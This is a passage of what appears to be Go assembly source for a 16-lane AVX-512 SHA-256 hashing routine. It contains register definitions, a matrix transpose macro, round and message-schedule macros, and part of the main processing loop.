zmm7 #define T1 zmm8 #define TMP0 zmm9 #define TMP1 zmm10 #define TMP2 zmm11 #define TMP3 zmm12 #define TMP4 zmm13 #define TMP5 zmm14 #define TMP6 zmm15 #define W0 zmm16 #define W1 zmm17 #define W2 zmm18 #define W3 zmm19 #define W4 zmm20 #define W5 zmm21 #define W6 zmm22 #define W7 zmm23 #define W8 zmm24 #define W9 zmm25 #define W10 zmm26 #define W11 zmm27 #define W12 zmm28 #define W13 zmm29 #define W14 zmm30 #define W15 zmm31 #define TRANSPOSE16(_r0, _r1, _r2, _r3, _r4, _r5, _r6, _r7, _r8, _r9, _r10, _r11, _r12, _r13, _r14, _r15, _t0, _t1) \ \ \ // input r0 = {a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1 a0} \ // r1 = {b15 b14 b13 b12 b11 b10 b9 b8 b7 b6 b5 b4 b3 b2 b1 b0} \ // r2 = {c15 c14 c13 c12 c11 c10 c9 c8 c7 c6 c5 c4 c3 c2 c1 c0} \ // r3 = {d15 d14 d13 d12 d11 d10 d9 d8 d7 d6 d5 d4 d3 d2 d1 d0} \ // r4 = {e15 e14 e13 e12 e11 e10 e9 e8 e7 e6 e5 e4 e3 e2 e1 e0} \ // r5 = {f15 f14 f13 f12 f11 f10 f9 f8 f7 f6 f5 f4 f3 f2 f1 f0} \ // r6 = {g15 g14 g13 g12 g11 g10 g9 g8 g7 g6 g5 g4 g3 g2 g1 g0} \ // r7 = {h15 h14 h13 h12 h11 h10 h9 h8 h7 h6 h5 h4 h3 h2 h1 h0} \ // r8 = {i15 i14 i13 i12 i11 i10 i9 i8 i7 i6 i5 i4 i3 i2 i1 i0} \ // r9 = {j15 j14 j13 j12 j11 j10 j9 j8 j7 j6 j5 j4 j3 j2 j1 j0} \ // r10 = {k15 k14 k13 k12 k11 k10 k9 k8 k7 k6 k5 k4 k3 k2 k1 k0} \ // r11 = {l15 l14 l13 l12 l11 l10 l9 l8 l7 l6 l5 l4 l3 l2 l1 l0} \ // r12 = {m15 m14 m13 m12 m11 m10 m9 m8 m7 m6 m5 m4 m3 m2 m1 m0} \ // r13 = {n15 n14 n13 n12 n11 n10 n9 n8 n7 n6 n5 n4 n3 n2 n1 n0} \ // r14 = {o15 o14 o13 o12 o11 o10 o9 o8 o7 o6 o5 o4 o3 o2 o1 o0} \ // r15 = {p15 p14 p13 p12 p11 p10 p9 p8 p7 p6 p5 p4 p3 p2 p1 p0} \ \ // output r0 = { p0 o0 n0 m0 l0 k0 j0 i0 h0 g0 f0 e0 d0 c0 b0 a0} \ // r1 = { p1 o1 n1 m1 l1 k1 j1 i1 h1 g1 f1 e1 d1 c1 b1 a1} \ // r2 = { p2 o2 n2 m2 l2 k2 j2 i2 h2 g2 f2 e2 d2 c2 b2 a2} \ // r3 = { p3 o3 n3 m3 l3 k3 j3 i3 h3 g3 f3 e3 d3 c3 b3 a3} \ // r4 = { p4 o4 n4 m4 l4 k4 j4 i4 h4 g4 f4 e4 d4 c4 b4 a4} \ // r5 = { p5 o5 n5 m5 l5 k5 j5 i5 h5 g5 f5 e5 d5 c5 b5 a5} \ // r6 = { p6 o6 n6 m6 l6 k6 j6 i6 h6 g6 f6 e6 d6 c6 b6 a6} \ // r7 = { p7 o7 n7 m7 l7 k7 j7 i7 h7 g7 f7 e7 d7 c7 b7 a7} \ // r8 = { p8 o8 n8 m8 l8 k8 j8 i8 h8 g8 f8 e8 d8 c8 b8 a8} \ // r9 = { p9 o9 n9 m9 l9 k9 j9 i9 h9 g9 f9 e9 d9 c9 b9 a9} \ // r10 = {p10 o10 n10 m10 l10 k10 j10 i10 h10 g10 f10 e10 d10 c10 b10 a10} \ // r11 = {p11 o11 n11 m11 l11 k11 j11 i11 h11 g11 f11 e11 d11 c11 b11 a11} \ // r12 = {p12 o12 n12 m12 l12 k12 j12 i12 h12 g12 f12 e12 d12 c12 b12 a12} \ // r13 = {p13 o13 n13 m13 l13 k13 j13 i13 h13 g13 f13 e13 d13 c13 b13 a13} \ // r14 = {p14 o14 n14 m14 l14 k14 j14 i14 h14 g14 f14 e14 d14 c14 b14 a14} \ // r15 = {p15 o15 n15 m15 l15 k15 j15 i15 h15 g15 f15 e15 d15 c15 b15 a15} \ \ // process top half vshufps _t0, _r0, _r1, 0x44 \ // t0 = {b13 b12 a13 a12 b9 b8 a9 a8 b5 b4 a5 a4 b1 b0 a1 a0} vshufps _r0, _r0, _r1, 0xEE \ // r0 = {b15 b14 a15 a14 b11 b10 a11 a10 b7 b6 a7 a6 b3 b2 a3 a2} vshufps _t1, _r2, _r3, 0x44 \ // t1 = {d13 d12 c13 c12 d9 d8 c9 c8 d5 d4 c5 c4 d1 d0 c1 c0} vshufps _r2, _r2, _r3, 0xEE \ // r2 = {d15 d14 c15 c14 d11 d10 c11 c10 d7 d6 c7 c6 d3 d2 c3 c2} \ vshufps _r3, _t0, _t1, 0xDD \ // r3 = {d13 c13 b13 a13 d9 c9 b9 a9 d5 c5 b5 a5 d1 c1 b1 a1} vshufps _r1, _r0, _r2, 0x88 \ // r1 = {d14 c14 b14 a14 d10 c10 b10 a10 d6 c6 b6 a6 d2 c2 b2 a2} vshufps _r0, _r0, _r2, 0xDD \ // r0 = {d15 c15 b15 a15 d11 c11 b11 a11 d7 c7 b7 a7 d3 c3 b3 a3} vshufps _t0, _t0, _t1, 0x88 \ // t0 = {d12 c12 b12 a12 d8 c8 b8 a8 d4 c4 b4 a4 d0 c0 b0 a0} \ \ // use r2 in place of t0 vshufps _r2, _r4, _r5, 0x44 \ // r2 = {f13 f12 e13 e12 f9 f8 e9 e8 f5 f4 e5 e4 f1 f0 e1 e0} vshufps _r4, _r4, _r5, 0xEE \ // r4 = {f15 f14 e15 e14 f11 f10 e11 e10 f7 f6 e7 e6 f3 f2 e3 e2} vshufps _t1, _r6, _r7, 0x44 \ // t1 = {h13 h12 g13 g12 h9 h8 g9 g8 h5 h4 g5 g4 h1 h0 g1 g0} vshufps _r6, _r6, _r7, 0xEE \ // r6 = {h15 h14 g15 g14 h11 h10 g11 g10 h7 h6 g7 g6 h3 h2 g3 g2} \ vshufps _r7, _r2, _t1, 0xDD \ // r7 = {h13 g13 f13 e13 h9 g9 f9 e9 h5 g5 f5 e5 h1 g1 f1 e1} vshufps _r5, _r4, _r6, 0x88 \ // r5 = {h14 g14 f14 e14 h10 g10 f10 e10 h6 g6 f6 e6 h2 g2 f2 e2} vshufps _r4, _r4, _r6, 0xDD \ // r4 = {h15 g15 f15 e15 h11 g11 f11 e11 h7 g7 f7 e7 h3 g3 f3 e3} vshufps _r2, _r2, _t1, 0x88 \ // r2 = {h12 g12 f12 e12 h8 g8 f8 e8 h4 g4 f4 e4 h0 g0 f0 e0} \ \ // use r6 in place of t0 vshufps _r6, _r8, _r9, 0x44 \ // r6 = {j13 j12 i13 i12 j9 j8 i9 i8 j5 j4 i5 i4 j1 j0 i1 i0} vshufps _r8, _r8, _r9, 0xEE \ // r8 = {j15 j14 i15 i14 j11 j10 i11 i10 j7 j6 i7 i6 j3 j2 i3 i2} vshufps _t1, _r10, _r11, 0x44 \ // t1 = {l13 l12 k13 k12 l9 l8 k9 k8 l5 l4 k5 k4 l1 l0 k1 k0} vshufps _r10, _r10, _r11, 0xEE \ // r10 = {l15 l14 k15 k14 l11 l10 k11 k10 l7 l6 k7 k6 l3 l2 k3 k2} \ vshufps _r11, _r6, _t1, 0xDD \ // r11 = {l13 k13 j13 113 l9 k9 j9 i9 l5 k5 j5 i5 l1 k1 j1 i1} vshufps _r9, _r8, _r10, 0x88 \ // r9 = {l14 k14 j14 114 l10 k10 j10 i10 l6 k6 j6 i6 l2 k2 j2 i2} vshufps _r8, _r8, _r10, 0xDD \ // r8 = {l15 k15 j15 115 l11 k11 j11 i11 l7 k7 j7 i7 l3 k3 j3 i3} vshufps _r6, _r6, _t1, 0x88 \ // r6 = {l12 k12 j12 112 l8 k8 j8 i8 l4 k4 j4 i4 l0 k0 j0 i0} \ \ // use r10 in place of t0 vshufps _r10, _r12, _r13, 0x44 \ // r10 = {n13 n12 m13 m12 n9 n8 m9 m8 n5 n4 m5 m4 n1 n0 a1 m0} vshufps _r12, _r12, _r13, 0xEE \ // r12 = {n15 n14 m15 m14 n11 n10 m11 m10 n7 n6 m7 m6 n3 n2 a3 m2} vshufps _t1, _r14, _r15, 0x44 \ // t1 = {p13 p12 013 012 p9 p8 09 08 p5 p4 05 04 p1 p0 01 00} vshufps _r14, _r14, _r15, 0xEE \ // r14 = {p15 p14 015 014 p11 p10 011 010 p7 p6 07 06 p3 p2 03 02} \ vshufps _r15, _r10, _t1, 0xDD \ // r15 = {p13 013 n13 m13 p9 09 n9 m9 p5 05 n5 m5 p1 01 n1 m1} vshufps _r13, _r12, _r14, 0x88 \ // r13 = {p14 014 n14 m14 p10 010 n10 m10 p6 06 n6 m6 p2 02 n2 m2} vshufps _r12, _r12, _r14, 0xDD \ // r12 = {p15 015 n15 m15 p11 011 n11 m11 p7 07 n7 m7 p3 03 n3 m3} vshufps _r10, _r10, _t1, 0x88 \ // r10 = {p12 012 n12 m12 p8 08 n8 m8 p4 04 n4 m4 p0 00 n0 m0} \ \ // At this point, the registers that contain interesting data are: \ // t0, r3, r1, r0, r2, r7, r5, r4, r6, r11, r9, r8, r10, r15, r13, r12 \ // Can use t1 and r14 as scratch registers LEAQ PSHUFFLE_TRANSPOSE16_MASK1<>(SB), BX \ LEAQ PSHUFFLE_TRANSPOSE16_MASK2<>(SB), R8 \ \ vmovdqu32 _r14, [rbx] \ vpermi2q _r14, _t0, _r2 \ // r14 = {h8 g8 f8 e8 d8 c8 b8 a8 h0 g0 f0 e0 d0 c0 b0 a0} vmovdqu32 _t1, [r8] \ vpermi2q _t1, _t0, _r2 \ // t1 = {h12 g12 f12 e12 d12 c12 b12 a12 h4 g4 f4 e4 d4 c4 b4 a4} \ vmovdqu32 _r2, [rbx] \ vpermi2q _r2, _r3, _r7 \ // r2 = {h9 g9 f9 e9 d9 c9 b9 a9 h1 g1 f1 e1 d1 c1 b1 a1} vmovdqu32 _t0, [r8] \ vpermi2q _t0, _r3, _r7 \ // t0 = {h13 g13 f13 e13 d13 c13 b13 a13 h5 g5 f5 e5 d5 c5 b5 a5} \ vmovdqu32 _r3, [rbx] \ vpermi2q _r3, _r1, _r5 \ // r3 = {h10 g10 f10 e10 d10 c10 b10 a10 h2 g2 f2 e2 d2 c2 b2 a2} vmovdqu32 _r7, [r8] \ vpermi2q _r7, _r1, _r5 \ // r7 = {h14 g14 f14 e14 d14 c14 b14 a14 h6 g6 f6 e6 d6 c6 b6 a6} \ vmovdqu32 _r1, [rbx] \ vpermi2q _r1, _r0, _r4 \ // r1 = {h11 g11 f11 e11 d11 c11 b11 a11 h3 g3 f3 e3 d3 c3 b3 a3} vmovdqu32 _r5, [r8] \ vpermi2q _r5, _r0, _r4 \ // r5 = {h15 g15 f15 e15 d15 c15 b15 a15 h7 g7 f7 e7 d7 c7 b7 a7} \ vmovdqu32 _r0, [rbx] \ vpermi2q _r0, _r6, _r10 \ // r0 = {p8 o8 n8 m8 l8 k8 j8 i8 p0 o0 n0 m0 l0 k0 j0 i0} vmovdqu32 _r4, [r8] \ vpermi2q _r4, _r6, _r10 \ // r4 = {p12 o12 n12 m12 l12 k12 j12 i12 p4 o4 n4 m4 l4 k4 j4 i4} \ vmovdqu32 _r6, [rbx] \ vpermi2q _r6, _r11, _r15 \ // r6 = {p9 o9 n9 m9 l9 k9 j9 i9 p1 o1 n1 m1 l1 k1 j1 i1} vmovdqu32 _r10, [r8] \ vpermi2q _r10, _r11, _r15 \ // r10 = {p13 o13 n13 m13 l13 k13 j13 i13 p5 o5 n5 m5 l5 k5 j5 i5} \ vmovdqu32 _r11, [rbx] \ vpermi2q _r11, _r9, _r13 \ // r11 = {p10 o10 n10 m10 l10 k10 j10 i10 p2 o2 n2 m2 l2 k2 j2 i2} vmovdqu32 _r15, [r8] \ vpermi2q _r15, _r9, _r13 \ // r15 = {p14 o14 n14 m14 l14 k14 j14 i14 p6 o6 n6 m6 l6 k6 j6 i6} \ vmovdqu32 _r9, [rbx] \ vpermi2q _r9, _r8, _r12 \ // r9 = {p11 o11 n11 m11 l11 k11 j11 i11 p3 o3 n3 m3 l3 k3 j3 i3} vmovdqu32 _r13, [r8] \ vpermi2q _r13, _r8, _r12 \ // r13 = {p15 o15 n15 m15 l15 k15 j15 i15 p7 o7 n7 m7 l7 k7 j7 i7} \ \ // At this point r8 and r12 can be used as scratch registers vshuff64x2 _r8, _r14, _r0, 0xEE \ // r8 = {p8 o8 n8 m8 l8 k8 j8 i8 h8 g8 f8 e8 d8 c8 b8 a8} vshuff64x2 _r0, _r14, _r0, 0x44 \ // r0 = {p0 o0 n0 m0 l0 k0 j0 i0 h0 g0 f0 e0 d0 c0 b0 a0} \ vshuff64x2 _r12, _t1, _r4, 0xEE \ // r12 = {p12 o12 n12 m12 l12 k12 j12 i12 h12 g12 f12 e12 d12 c12 b12 a12} vshuff64x2 _r4, _t1, _r4, 0x44 \ // r4 = {p4 o4 n4 m4 l4 k4 j4 i4 h4 g4 f4 e4 d4 c4 b4 a4} \ vshuff64x2 _r14, _r7, _r15, 0xEE \ // r14 = {p14 o14 n14 m14 l14 k14 j14 i14 h14 g14 f14 e14 d14 c14 b14 a14} vshuff64x2 _t1, _r7, _r15, 0x44 \ // t1 = {p6 o6 n6 m6 l6 k6 j6 i6 h6 g6 f6 e6 d6 c6 b6 a6} \ vshuff64x2 _r15, _r5, _r13, 0xEE \ // r15 = {p15 o15 n15 m15 l15 k15 j15 i15 h15 g15 f15 e15 d15 c15 b15 a15} vshuff64x2 _r7, _r5, _r13, 0x44 \ // r7 = {p7 o7 n7 m7 l7 k7 j7 i7 h7 g7 f7 e7 d7 c7 b7 a7} \ vshuff64x2 _r13, _t0, _r10, 0xEE \ // r13 = {p13 o13 n13 m13 l13 k13 j13 i13 h13 g13 f13 e13 d13 c13 b13 a13} vshuff64x2 _r5, _t0, _r10, 0x44 \ // r5 = {p5 o5 n5 m5 l5 k5 j5 i5 h5 g5 f5 e5 d5 c5 b5 a5} \ vshuff64x2 _r10, _r3, _r11, 0xEE \ // r10 = {p10 o10 n10 m10 l10 k10 j10 i10 h10 g10 f10 e10 d10 c10 b10 a10} vshuff64x2 _t0, _r3, _r11, 0x44 \ // t0 = {p2 o2 n2 m2 l2 k2 j2 i2 h2 g2 f2 e2 d2 c2 b2 a2} \ vshuff64x2 _r11, _r1, _r9, 0xEE \ // r11 = {p11 o11 n11 m11 l11 k11 j11 i11 h11 g11 f11 e11 d11 c11 b11 a11} vshuff64x2 _r3, _r1, _r9, 0x44 \ // r3 = {p3 o3 n3 m3 l3 k3 j3 i3 h3 g3 f3 e3 d3 c3 b3 a3} \ vshuff64x2 _r9, _r2, _r6, 0xEE \ // r9 = {p9 o9 n9 m9 l9 k9 j9 i9 h9 g9 f9 e9 d9 c9 b9 a9} vshuff64x2 _r1, _r2, _r6, 0x44 \ // r1 = {p1 o1 n1 m1 l1 k1 j1 i1 h1 g1 f1 e1 d1 c1 b1 a1} \ vmovdqu32 _r2, _t0 \ // r2 = {p2 o2 n2 m2 l2 k2 j2 i2 h2 g2 f2 e2 d2 c2 b2 a2} vmovdqu32 _r6, _t1 \ // r6 = {p6 o6 n6 m6 l6 k6 j6 i6 h6 g6 f6 e6 d6 c6 b6 a6} // CH(A, B, C) = (A&B) ^ (~A&C) // MAJ(E, F, G) = (E&F) ^ (E&G) ^ (F&G) // SIGMA0 = ROR_2 ^ ROR_13 ^ ROR_22 // SIGMA1 = ROR_6 ^ ROR_11 ^ ROR_25 // sigma0 = ROR_7 ^ ROR_18 ^ SHR_3 // sigma1 = ROR_17 ^ ROR_19 ^ SHR_10 // Main processing loop per round #define PROCESS_LOOP(_WT, _ROUND, _A, _B, _C, _D, _E, _F, _G, _H) \ \ // T1 = H + SIGMA1(E) + CH(E, F, G) + Kt + Wt \ // T2 = SIGMA0(A) + MAJ(A, B, C) \ // H=G, G=F, F=E, E=D+T1, D=C, C=B, B=A, A=T1+T2 \ \ // H becomes T2, then add T1 for A \ // D becomes D + T1 for E \ vpaddd T1, _H, TMP3 \ // T1 = H + Kt vmovdqu32 TMP0, _E \ vprord TMP1, _E, 6 \ // ROR_6(E) vprord TMP2, _E, 11 \ // ROR_11(E) vprord TMP3, _E, 25 \ // ROR_25(E) vpternlogd TMP0, _F, _G, 0xCA \ // TMP0 = CH(E,F,G) vpaddd T1, T1, _WT \ // T1 = T1 + Wt vpternlogd TMP1, TMP2, TMP3, 0x96 \ // TMP1 = SIGMA1(E) vpaddd T1, T1, TMP0 \ // T1 = T1 + CH(E,F,G) vpaddd T1, T1, TMP1 \ // T1 = T1 + SIGMA1(E) vpaddd _D, _D, T1 \ // D = D + T1 \ vprord _H, _A, 2 \ // ROR_2(A) vprord TMP2, _A, 13 \ // ROR_13(A) vprord TMP3, _A, 22 \ // ROR_22(A) vmovdqu32 TMP0, _A \ vpternlogd TMP0, _B, _C, 0xE8 \ // TMP0 = MAJ(A,B,C) vpternlogd _H, TMP2, TMP3, 0x96 \ // H(T2) = SIGMA0(A) vpaddd _H, _H, TMP0 \ // H(T2) = SIGMA0(A) + MAJ(A,B,C) vpaddd _H, _H, T1 \ // H(A) = H(T2) + T1 \ vmovdqu32 TMP3, [TBL + ((_ROUND+1)*64)] \ // Next Kt #define MSG_SCHED_ROUND_16_63(_WT, _WTp1, _WTp9, _WTp14) \ vprord TMP4, _WTp14, 17 \ // ROR_17(Wt-2) vprord TMP5, _WTp14, 19 \ // ROR_19(Wt-2) vpsrld TMP6, _WTp14, 10 \ // SHR_10(Wt-2) vpternlogd TMP4, TMP5, TMP6, 0x96 \ // TMP4 = sigma1(Wt-2) \ vpaddd _WT, _WT, TMP4 \ // Wt = Wt-16 + sigma1(Wt-2) vpaddd _WT, _WT, _WTp9 \ // Wt = Wt-16 + sigma1(Wt-2) + Wt-7 \ vprord TMP4, _WTp1, 7 \ // ROR_7(Wt-15) vprord TMP5, _WTp1, 18 \ // ROR_18(Wt-15) vpsrld TMP6, _WTp1, 3 \ // SHR_3(Wt-15) vpternlogd TMP4, TMP5, TMP6, 0x96 \ // TMP4 = sigma0(Wt-15) \ vpaddd _WT, _WT, TMP4 \ // Wt = Wt-16 + sigma1(Wt-2) + \ // Wt-7 + sigma0(Wt-15) + // Note this is reading in a block of data for one lane // When all 16 are read, the data must be transposed to build msg schedule #define MSG_SCHED_ROUND_00_15(_WT, OFFSET, LABEL) \ TESTQ $(1<<OFFSET), MASK_P9 \ JE LABEL \ MOVQ OFFSET*24(INPUT_P9), R9 \ vmovups _WT, [inp0+IDX] \ LABEL: \ #define MASKED_LOAD(_WT, OFFSET, LABEL) \ TESTQ $(1<<OFFSET), MASK_P9 \ JE LABEL \ MOVQ OFFSET*24(INPUT_P9), R9 \ vmovups _WT,[inp0+IDX] \ LABEL: \ TEXT ·sha256_x16_avx512(SB), 7, $0 MOVQ digests+0(FP), STATE_P9 // MOVQ scratch+8(FP), SCRATCH_P9 MOVQ mask_len+32(FP), INP_SIZE_P9 // number of blocks to process MOVQ mask+24(FP), MASKP_P9 MOVQ (MASKP_P9), MASK_P9 kmovq k1, mask LEAQ inputs+48(FP), INPUT_P9 // Initialize digests vmovdqu32 A, [STATE + 0*SHA256_DIGEST_ROW_SIZE] vmovdqu32 B, [STATE + 1*SHA256_DIGEST_ROW_SIZE] vmovdqu32 C, [STATE + 2*SHA256_DIGEST_ROW_SIZE] vmovdqu32 D, [STATE + 3*SHA256_DIGEST_ROW_SIZE] vmovdqu32 E, [STATE + 4*SHA256_DIGEST_ROW_SIZE] vmovdqu32 F, [STATE + 5*SHA256_DIGEST_ROW_SIZE] vmovdqu32 G, [STATE + 6*SHA256_DIGEST_ROW_SIZE] vmovdqu32 H, [STATE + 7*SHA256_DIGEST_ROW_SIZE] MOVQ table+16(FP), TBL_P9 xor IDX, IDX // Read in first block of input data MASKED_LOAD( W0, 0, skipInput0) MASKED_LOAD( W1, 1, skipInput1) MASKED_LOAD( W2, 2, skipInput2) MASKED_LOAD( W3, 3, skipInput3) MASKED_LOAD( W4, 4, skipInput4) MASKED_LOAD( W5, 5, skipInput5) MASKED_LOAD( W6, 6, skipInput6) MASKED_LOAD( W7, 7, skipInput7) MASKED_LOAD( W8, 8, skipInput8) MASKED_LOAD( W9, 9, skipInput9) MASKED_LOAD(W10, 10, skipInput10) MASKED_LOAD(W11, 11, skipInput11) MASKED_LOAD(W12, 12, skipInput12) MASKED_LOAD(W13, 13, skipInput13) MASKED_LOAD(W14, 14, skipInput14) MASKED_LOAD(W15, 15, skipInput15) lloop: LEAQ PSHUFFLE_BYTE_FLIP_MASK<>(SB), TBL_P9 vmovdqu32 TMP2, [TBL] // Get first K from table MOVQ table+16(FP), TBL_P9 vmovdqu32 TMP3, [TBL] // Save digests for later addition vmovdqu32 [SCRATCH + 64*0], A vmovdqu32 [SCRATCH + 64*1], B vmovdqu32 [SCRATCH + 64*2], C vmovdqu32 [SCRATCH + 64*3], D vmovdqu32 [SCRATCH + 64*4], E vmovdqu32 [SCRATCH + 64*5], F vmovdqu32 [SCRATCH + 64*6], G vmovdqu32 [SCRATCH + 64*7], H add IDX, 64 // Transpose input data TRANSPOSE16(W0, W1, W2, W3, W4, W5, W6, W7, W8, W9, W10, W11, W12, W13, W14, W15, TMP0, TMP1) vpshufb W0, W0, TMP2 vpshufb W1, W1, TMP2 vpshufb W2, W2, TMP2 vpshufb W3, W3, TMP2 vpshufb W4, W4, TMP2 vpshufb W5, W5, TMP2 vpshufb W6, W6, TMP2 vpshufb W7, W7, TMP2 vpshufb W8, W8, TMP2 vpshufb W9, W9, TMP2 vpshufb W10, W10, TMP2 vpshufb W11, W11, TMP2 vpshufb W12, W12, TMP2 vpshufb W13, W13, TMP2 vpshufb W14, W14, TMP2 vpshufb W15, W15, TMP2 // MSG Schedule for W0-W15 is now complete in registers // Process first 48 rounds // Calculate next Wt+16 after processing is complete and Wt is unneeded PROCESS_LOOP( W0, 0, A, B, C, D, E, F, G, H) MSG_SCHED_ROUND_16_63( W0, W1, W9, W14) PROCESS_LOOP( W1, 1, H, A, B, C, D, E, F, G) MSG_SCHED_ROUND_16_63( W1, W2, W10, W15) PROCESS_LOOP( W2, 2, G, H, A, B, C, D, E, F) MSG_SCHED_ROUND_16_63( W2, W3, W11, W0) PROCESS_LOOP( W3, 3, F, G, H, A, B, C, D, E) MSG_SCHED_ROUND_16_63( W3, W4, W12, W1) PROCESS_LOOP( W4, 4, E, F, G, H, A, B, C, D) MSG_SCHED_ROUND_16_63( W4, W5, W13, W2) PROCESS_LOOP( W5, 5, D, E, F, G, H, A, B, C) MSG_SCHED_ROUND_16_63( W5, W6, W14, W3) PROCESS_LOOP( W6, 6, C, D, E, F, G, H, A, B) MSG_SCHED_ROUND_16_63( W6, W7, W15, W4) PROCESS_LOOP( W7, 7, B, C, D, E, F, G, H, A) MSG_SCHED_ROUND_16_63( W7, W8, W0, W5) PROCESS_LOOP( W8, 8, A, B, C, D, E, F, G, H) MSG_SCHED_ROUND_16_63( W8, W9, W1, W6) PROCESS_LOOP( W9, 9, H, A, B, C, D, E, F, G) MSG_SCHED_ROUND_16_63( W9, W10, W2, W7) PROCESS_LOOP(W10, 10, G, H, A, B, C, D, E, F) MSG_SCHED_ROUND_16_63(W10, W11, W3, W8) PROCESS_LOOP(W11, 11, F, G, H, A, B, C, D, E) MSG_SCHED_ROUND_16_63(W11, W12, W4, W9) PROCESS_LOOP(W12, 12, E, F, G, H, A, B, C, D) MSG_SCHED_ROUND_16_63(W12, W13, W5, W10) PROCESS_LOOP(W13, 13, D, E, F, G, H, A, B, C) MSG_SCHED_ROUND_16_63(W13, W14, W6, W11) PROCESS_LOOP(W14, 14, C, D, E, F, G, H, A, B) MSG_SCHED_ROUND_16_63(W14, W15, W7, W12) PROCESS_LOOP(W15, 15, B, C, D, E, F, G, H, A) MSG_SCHED_ROUND_16_63(W15, W0, W8, W13) PROCESS_LOOP( W0, 16, A, B, C, D, E, F, G, H) MSG_SCHED_ROUND_16_63( W0, W1, W9, W14) PROCESS_LOOP( W1, 17, H, A, B, C, D, E, F, G) MSG_SCHED_ROUND_16_63( W1, W2, W10, W15) PROCESS_LOOP( W2, 18, G, H, A, B, C, D, E, F) MSG_SCHED_ROUND_16_63( W2, W3, W11, W0) PROCESS_LOOP( W3, 19, F, G, H, A, B, C, D, E) MSG_SCHED_ROUND_16_63( W3, W4, W12, W1) PROCESS_LOOP( W4, 20, E, F, G, H, A, B, C, D) MSG_SCHED_ROUND_16_63( W4, W5, W13, W2) PROCESS_LOOP( W5, 21, D, E, F, G, H, A, B, C) MSG_SCHED_ROUND_16_63( W5, W6, W14, W3) PROCESS_LOOP( W6, 22, C, D, E, F, G, H, A, B) MSG_SCHED_ROUND_16_63( W6, W7, W15, W4) PROCESS_LOOP( W7, 23, B, C, D, E, F, G, H, A) MSG_SCHED_ROUND_16_63( W7, W8, W0, W5) PROCESS_LOOP( W8, 24, A, B, C, D, E, F, G, H) MSG_SCHED_ROUND_16_63( W8, W9, W1, W6) PROCESS_LOOP( W9, 25, H, A, B, C, D, E, F, G) MSG_SCHED_ROUND_16_63( W9, W10, W2, W7) PROCESS_LOOP(W10, 26, G, H, A, B, C, D, E, F) MSG_SCHED_ROUND_16_63(W10, W11, W3, W8) PROCESS_LOOP(W11, 27, F, G, H, A, B, C, D, E) MSG_SCHED_ROUND_16_63(W11, W12, W4, W9) PROCESS_LOOP(W12, 28, E, F, G, H, A, B, C, D) MSG_SCHED_ROUND_16_63(W12, W13, W5, W10) PROCESS_LOOP(W13, 29, D, E, F, G, H, A, B, C) MSG_SCHED_ROUND_16_63(W13, W14, W6, W11) PROCESS_LOOP(W14, 30, C, D, E, F, G, H, A, B) MSG_SCHED_ROUND_16_63(W14, W15, W7, W12) PROCESS_LOOP(W15, 31, B, C, D, E, F, G, H, A) MSG_SCHED_ROUND_16_63(W15, W0, W8, W13) PROCESS_LOOP( W0, 32, A, B, C, D, E, F, G, H) MSG_SCHED_ROUND_16_63( W0, W1, W9, W14) PROCESS_LOOP( W1, 33, H, A, B, C, D, E, F, G) MSG_SCHED_ROUND_16_63( W1, W2, W10, W15) PROCESS_LOOP( W2, 34, G, H, A, B, C, D, E, F) MSG_SCHED_ROUND_16_63( W2, W3, W11, W0) PROCESS_LOOP( W3, 35, F, G, H, A, B, C, D, E) MSG_SCHED_ROUND_16_63( W3, W4, W12, W1) PROCESS_LOOP( W4, 36, E, F, G, H, A, B, C, D) MSG_SCHED_ROUND_16_63( W4, W5, W13, W2) PROCESS_LOOP( W5, 37, D, E, F, G, H, A, B, C) MSG_SCHED_ROUND_16_63( W5, W6, W14, W3) PROCESS_LOOP( W6, 38, C, D, E, F, G, H, A, B) MSG_SCHED_ROUND_16_63( W6, W7, W15, W4) PROCESS_LOOP( W7, 39, B, C, D, E, F, G, H, A) MSG_SCHED_ROUND_16_63( W7, W8, W0, W5) PROCESS_LOOP( W8, 40, A, B, C, D, E, F, G, H) MSG_SCHED_ROUND_16_63( W8, W9, W1, W6) PROCESS_LOOP( W9, 41, H, A, B, C, D, E, F, G) MSG_SCHED_ROUND_16_63( W9, W10, W2, W7) PROCESS_LOOP(W10, 42, G, H, A, B, C, D, E, F) MSG_SCHED_ROUND_16_63(W10, W11, W3, W8) PROCESS_LOOP(W11, 43, F, G, H, A, B, C, D, E) MSG_SCHED_ROUND_16_63(W11, W12, W4, W9) PROCESS_LOOP(W12, 44, E, F, G, H, A, B, C, D) MSG_SCHED_ROUND_16_63(W12, W13, W5, W10) PROCESS_LOOP(W13, 45, D, E, F, G, H, A, B, C) MSG_SCHED_ROUND_16_63(W13, W14, W6, W11) PROCESS_LOOP(W14, 46, C, D, E, F, G, H, A, B) MSG_SCHED_ROUND_16_63(W14, W15, W7, W12) PROCESS_LOOP(W15, 47, B, C, D, E, F, G, H, A) MSG_SCHED_ROUND_16_63(W15, W0, W8, W13) // Check if this is the last block sub INP_SIZE, 1 JE lastLoop // Load next mask for inputs ADDQ $8, MASKP_P9 MOVQ (MASKP_P9), MASK_P9 // Process last 16 rounds // Read in next block msg data for use in first 16 words of msg sched PROCESS_LOOP( W0, 48, A, B, C, D, E, F, G, H) MSG_SCHED_ROUND_00_15( W0, 0, skipNext0) PROCESS_LOOP( W1, 49, H, A, B, C, D, E, F, G) MSG_SCHED_ROUND_00_15( W1, 1, skipNext1) PROCESS_LOOP( W2, 50, G, H, A, B, C, D, E, F) MSG_SCHED_ROUND_00_15( W2, 2, skipNext2) PROCESS_LOOP( W3, 51, F, G, H, A, B, C, D, E) MSG_SCHED_ROUND_00_15( W3, 3, skipNext3) PROCESS_LOOP( W4, 52, E, F, G, H, A, B, C, D) MSG_SCHED_ROUND_00_15( W4, 4, skipNext4) PROCESS_LOOP( W5, 53, D, E, F, G, H, A, B, C) MSG_SCHED_ROUND_00_15( W5, 5, skipNext5) PROCESS_LOOP( W6, 54, C, D, E, F, G, H, A, B) MSG_SCHED_ROUND_00_15( W6, 6, skipNext6) PROCESS_LOOP( W7, 55, B, C, D, E, F, G, H, A) MSG_SCHED_ROUND_00_15( W7, 7, skipNext7) PROCESS_LOOP( W8, 56, A, B, C, D, E, F, G, H) MSG_SCHED_ROUND_00_15( W8, 8, skipNext8) PROCESS_LOOP( W9, 57, H, A, B, C, D, E, F, G) MSG_SCHED_ROUND_00_15( W9, 9, skipNext9) PROCESS_LOOP(W10, 58, G, H, A, B, C, D, E, F) MSG_SCHED_ROUND_00_15(W10, 10, skipNext10) PROCESS_LOOP(W11, 59, F, G, H, A, B, C, D, E) 